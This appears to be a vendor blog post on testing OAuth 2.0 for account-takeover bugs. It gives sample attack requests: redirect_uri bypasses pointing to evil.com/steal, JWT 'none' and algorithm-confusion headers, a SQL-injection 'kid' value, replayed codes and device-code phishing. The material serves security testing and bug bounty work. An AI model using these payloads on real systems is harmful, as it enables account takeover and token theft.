OAuth 2.0 vulnerabilities consistently top the charts for critical-severity bug bounty payouts. A single account takeover via OAuth misconfiguration can cascade into complete organizational compromise — and these bugs appear in applications used by billions of people.
Understanding which flow a target uses determines which attacks to test. The Authorization Code flow (with PKCE) is the most secure and most common. The now-deprecated Implicit flow has numerous vulnerabilities. Client Credentials (machine-to-machine) has its own attack surface. Never-use-in-production: Resource Owner Password Credentials.
If the authorization server validates redirect_uri with insufficient precision, an attacker can redirect the authorization code to their controlled server.
# Legitimate request
https://auth.example.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.com/callback&
response_type=code&state=xyz
# Attack attempts
# 1. Path traversal
redirect_uri=https://app.com/callback/../../../evil.com/steal
# 2. Additional path
redirect_uri=https://app.com.evil.com/callback
# 3. Fragment bypass
redirect_uri=https://app.com/callback%23@evil.com
# 4. Query string bypass
redirect_uri=https://app.com/callback?next=https://evil.com
The state parameter prevents CSRF attacks during OAuth flows. If absent or predictable, an attacker can force victims to connect their accounts to attacker-controlled identities — enabling account takeover.
# Check if state is:
# 1. Present in authorization request
# 2. Validated on callback
# 3. Cryptographically random (not sequential/predictable)
# 4. Single-use (replayed states should be rejected)
# Test: replay the same state parameter
curl -s "https://app.com/oauth/callback?code=VALID_CODE&state=PREVIOUSLY_USED_STATE"
# Should return: error (state already used)
# Authorization codes must be single-use
# Test by replaying the code after first exchange:
# First use (legitimate)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Second use (should fail)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Expected: {"error": "invalid_grant"}
PKCE prevents authorization code interception attacks. If a server that supports PKCE doesn't enforce it, public clients are vulnerable.
# Start flow WITH PKCE (legitimate)
code_verifier = generate_random_string(64)
code_challenge = base64url(sha256(code_verifier))
GET /authorize?
code_challenge=abc123&
code_challenge_method=S256&...
# Attack: exchange code WITHOUT providing code_verifier
POST /token
grant_type=authorization_code&
code=INTERCEPTED_CODE&
redirect_uri=https://legitimate-app.com/callback
# Missing: code_verifier
# If this succeeds -> PKCE not enforced -> Critical vulnerability
# Attempt to downgrade from S256 to plain (less secure)
GET /authorize?
code_challenge=ACTUAL_CODE_VERIFIER&
code_challenge_method=plain&...
# If accepted: server may be using plain instead of S256
# Then exchange with code_verifier = original plain text
POST /token
code_verifier=ORIGINAL_PLAIN_TEXT&...
In the Implicit flow (deprecated but still found), access tokens in URL fragments (#access_token=...) don't get sent in Referer headers — but tokens in query parameters (?access_token=...) do. Always check how tokens appear in URLs.
# Request minimal scope
GET /authorize?scope=read:email&...
# After getting access token, test unauthorized API calls
GET /api/user/delete
Authorization: Bearer ACCESS_TOKEN_WITH_READ_SCOPE
# Should return 403, not 200
# If access tokens are JWTs, test:
# 1. Algorithm confusion (RS256 -> HS256)
header = {"alg": "HS256", "typ": "JWT"}
# Sign with the public key as HMAC secret
# 2. None algorithm
header = {"alg": "none", "typ": "JWT"}
# Some libraries accept unsigned tokens
# 3. Kid injection (if 'kid' is used)
header = {"alg": "HS256", "kid": "' OR 1=1--"}
# SQL injection in kid parameter
# Tools:
# jwt_tool: python3 jwt_tool.py TOKEN -T (tamper)
# jwt-cracker: for weak secrets
# Test if old refresh tokens are invalidated after rotation
POST /token
grant_type=refresh_token&refresh_token=OLD_REFRESH_TOKEN
# If this returns a new token -> old token not invalidated
# Attacker who stole old refresh token can still get new access tokens
If a victim signs up with email/password (email: victim@gmail.com) and an attacker can link a Google OAuth account with the same email to take over the victim's account — without Google verifying ownership — that's a critical account takeover. This is especially common in platforms that allow linking multiple auth providers.
# Attack scenario:
# 1. Attacker creates account with victim@example.com (before victim registers)
# 2. Attacker links their OAuth provider to this email
# 3. When victim later registers with Google OAuth using victim@example.com
# 4. Victim gains access to attacker's pre-created account (or vice versa)
# Test by:
# 1. Register account with victim's email (before they exist)
# 2. Connect OAuth from different email
# 3. Try to access victim's future account
# Some implementations allow specifying access_token in request
# or don't properly bind tokens to sessions
# Test: force a known token value
GET /oauth/callback?access_token=KNOWN_VALUE
# If the app accepts and uses this token -> token fixation
# If an application ties accounts to email (not sub):
# Register malicious OAuth provider with victim's email as their 'email' claim
# Some providers let you set arbitrary email claims
# Test by creating custom OAuth provider with:
{
"sub": "attacker-unique-id",
"email": "victim@example.com",
"email_verified": true
}
# Confidential clients must authenticate with client_secret
# Test if client_secret is optional:
POST /token
grant_type=authorization_code&
code=CODE&
client_id=CONFIDENTIAL_CLIENT_ID&
# Missing: client_secret
# If this works -> client authentication not enforced
# Device flow (for input-constrained devices) can be abused for phishing
POST /device/code
client_id=LEGITIMATE_CLIENT
# Returns user_code that victim enters at verification_uri
# Attacker uses this for social engineering:
# "Enter code XXXX-XXXX at accounts.target.com/activate"
| Bug Type | Platform | Impact | Bounty |
|---|---|---|---|
| redirect_uri bypass | Account takeover | $25,000 | |
| State parameter missing | Airbnb | CSRF → ATO | $8,000 |
| Code reuse | Microsoft | Replay attack | $15,000 |
| JWT none algorithm | Auth0 | Auth bypass | $10,000 |
| Email confusion ATO | Slack | Account takeover | $20,000 |
| PKCE not enforced | Multiple | Code interception | $5,000+ |
KENSAI's AI-powered scanner tests your OAuth implementations for authorization code interception, PKCE bypass, token vulnerabilities, and account takeover scenarios automatically.
Start Free Scan →Security is not optional.
🗡️ The KENSAI Team